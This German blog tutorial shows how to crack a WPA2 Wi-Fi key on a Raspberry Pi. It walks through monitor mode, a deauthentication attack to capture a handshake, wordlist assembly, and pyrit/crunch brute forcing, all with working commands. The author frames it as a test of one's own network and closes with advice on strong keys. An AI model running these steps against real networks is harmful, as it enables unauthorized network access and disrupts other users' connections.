WLAN (WPA2, WEP) knacken

Eines vorweg: Das WLAN des Nachbarn oder anderen zu knacken ist illegal! Es geht in diesem Artikel nur darum,

die Sicherheit des Systems aufzuzeigen und die damit verbundenen Gefahren hinzuweisen.

Früher wurden WLANs mit der WEP Verschlüsselung abgesichert. Diese lässt sich in wenigen Sekunden aushebeln und

ist somit nicht mehr sicher. Heutige Netze sind mindestens mit WPA2 gesichert. Hier ist es nicht mehr so einfach und

man ist auf das probieren der Kennwörter angewiesen. Wird also ein Schlüssel verwendet, der nicht in einer Passwortliste

zu finden ist und der entsprechend komplex ist, ist der WLAN Betreiber ziemlich sicher. 

Mein Setup:

Raspberry PI

ALFA AWUS USB WLAN Adapter

Vorraussetzung:

Fertig installiertes Raspian auf dem PI

Installation Aircrack-ng

{code lang:bash hidden:false}

apt-get update
apt-get install aircrack-ng pyrit unp
{/code}  

Monitormode der Wlankarte (bei mir wlan0) starten.

{code lang:bash hidden:false}

airmon-ng start wlan0
{/code}  

Wlans finden

{code lang:bash hidden:false}

airodump-ng mon0
{/code}  

Nun sucht man sich sein eigenes Test-Wlan heraus. Für den Test könnte man auch einen einfachen Schlüssel verwenden (z.B. 1234567890).

Benötigt wird die Mac-Adresse und der Kanal. Diese sind im Code zu ersetzen.

{code lang:bash hidden:false}

airodump-ng --channel 1 --bssid 00:11:22:33:44:55 --write wpa2-dump mon0
{/code}
 

Jetzt kommt der wichtig Teil. Um den Key erraten zu können, benötigt man einen so genannten Handshake. 

Man könnte nun einfach warten, bis sich ein neues Gerät mit dem WLAN verbindet, eines trennen und wieder verbinden, oder es auf die „harte Tour“ machen 😉

Dafür einfach eine zweite Konsole öffnen und das eintippen. Wichtig auch hier wieder die MAC ersetzen.

{code lang:bash hidden:false}

aireplay-ng --deauth 5 -a 00:11:22:33:44:55 mon0
{/code}
Auf der ersten Konsole wird von airmon auch direkt angezeigt wenn ein Handshake zu Stande kam.

Man könnte nun einfach warten, bis sich ein neues Gerät mit dem WLAN verbindet, eines trennen und wieder verbinden, oder es auf die „harte Tour“ machen 😉

Dafür einfach eine zweite Konsole öffnen und das eintippen. Wichtig auch hier wieder die MAC ersetzen.

Ist das geschafft gehts weiter.

{code lang:bash hidden:false}

STRG+C
airmon-ng stop mon0
{/code}
 

Jetzt geht es mit pyrit weiter. Hier werden die Pakete auf die Handshakes reduziert.

{code lang:bash hidden:false}

pyrit -r wpa2-dump-01.cap -o handshakes.cap strip
{/code}
Nun benötigen wir eine Passwortliste. Ich habe ein Script gebaut, welches diese zusammenstellen kann. Dieses einfach in eine neue Datei einfügen (vim) und ausführbar (chmod +x) machen.

{code lang:bash hidden:false}

#!/bin/bash

cd /home/pi

mkdir passwords && cd passwords

git init

git remote add -f origin https://github.com/danielmiessler/SecLists.git

git config core.sparseCheckout true

echo „Passwords/“ >> .git/info/sparse-checkout

git pull origin master

mv /home/pi/passwords/Passwords/* /home/pi/passwords

rmdir /home/pi/passwords/Passwords

cd /home/pi/passwords

unp *

tar cvfz pwdb.tar.gz *

mv pwdb.tar.gz /home/pi/

rm -r /home/pi/passwords

echo „Passwords stored at /home/pi/passwords“

{/code}
Jetzt ist unser Passwortdatenbank vorhanden und es geht los mit der Brute force Attacke.
Das kann sehr lange dauern und ich empfehle das ausführen in einem Screen.

{code lang:bash hidden:false}

pyrit -r handshakes.cap -i /home/pi/pwdb.tar.gz attack_passthrough
{/code}
Etwa 25 Kaffee später sollte dann im Idealfall folgendes zu lesen sein:

{code lang:bash hidden:false}

The password is '1234567890'.
{/code}

 
Aus dem ganzen Beispiel hier kann man erkennen, dass die Sicherheit hier mit dem verwendeten WLAN Kennwort steht und fällt.
Wird ein Schlüssel benutzt, der nicht in der Liste vorhanden ist, so kann der Schlüssel auch nicht geknackt werden.
Ich empfehle also immer einen Schlüssel zu erzeugen der aus mehr als nur Buchstaben und Zahlen besteht.
Ein Generator ist dafür zu empfehlen.
Die Verwendung von einem Gaming PC statt eines PIs zum knacken des Schlüssels mit pyrit macht außerdem einen gewaltigen Zeitunterschied aus,
da die Grafikkarte verwendet werden kann. Diese ist wesentlich schneller als die CPU des PIs. 
 
Mit dem Tool „crunch“ können Passwortlisten mit allen möglichen Zeichenkombinationen erzeugt werden.
6 bedeutet minimal 6 Zeichen, 10 = maximal 10 Zeichen. Dann folgen alle zu verwendeten Zeichen. Ich habe einmal angenommen,
das Passwort würde nur aus Zahlen und kleinbuchstaben bestehen. Die Ausgabe erfolgt in die crunch.txt. Diese kann für pyrit verwendet werden.

{code lang:bash hidden:false}

crunch 6 10 1234567890abcdefghijklmopqrstuvwxyz -o crunch.txt

{/code}
 
Jetzt zum Haken an der Sache: 
 
{code lang:bash hidden:false}

Crunch will now generate the following amount of data: 31152971736140625 bytes

29709789024 MB

29013465 GB

28333 TB

27 PB

Crunch will now generate the following number of lines: 2839681045140625

{/code}

Leider wäre die Passwortdatenbank die dabei raus kommt so groß, dass ich sie nicht speichern könnte. 

Dem Problem mit der Dateigröße kann man zwar noch Herr werden…

{code lang:bash hidden:false}

crunch 16 16 1234567890abcdefghijklmopqrstuvwxyz | pyrit -r handshakes.cap -b XX:XX: -i – attack_passthrough

{/code}

…aber bedenkt man, dass in den Zeichen nicht einmal Großbuchstaben berücksichtig werden,

dann hätte ich immer noch das Problem, dass die Bruteforceattacke wohl nicht mehr in diesem Leben fertig würde. 

Zumindest nach aktuellen mir zur Verfügung stehender Rechenleistung.

Außerdem ist davon auszugehen, dass die meisten WLAN Keys wohl eher aus mehr Stellen bestehen würden.

Auch das zeigt mir, dass das WLAN relativ sicher ist, solange man einen Schlüssel verwendet, der aus zufälligen Zeichen besteht.

Dir hat das Projekt gefallen? Dann Unterstütze mich, damit ich weiterhin solche Projekte vorstellen kann! 

Von heckmic

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.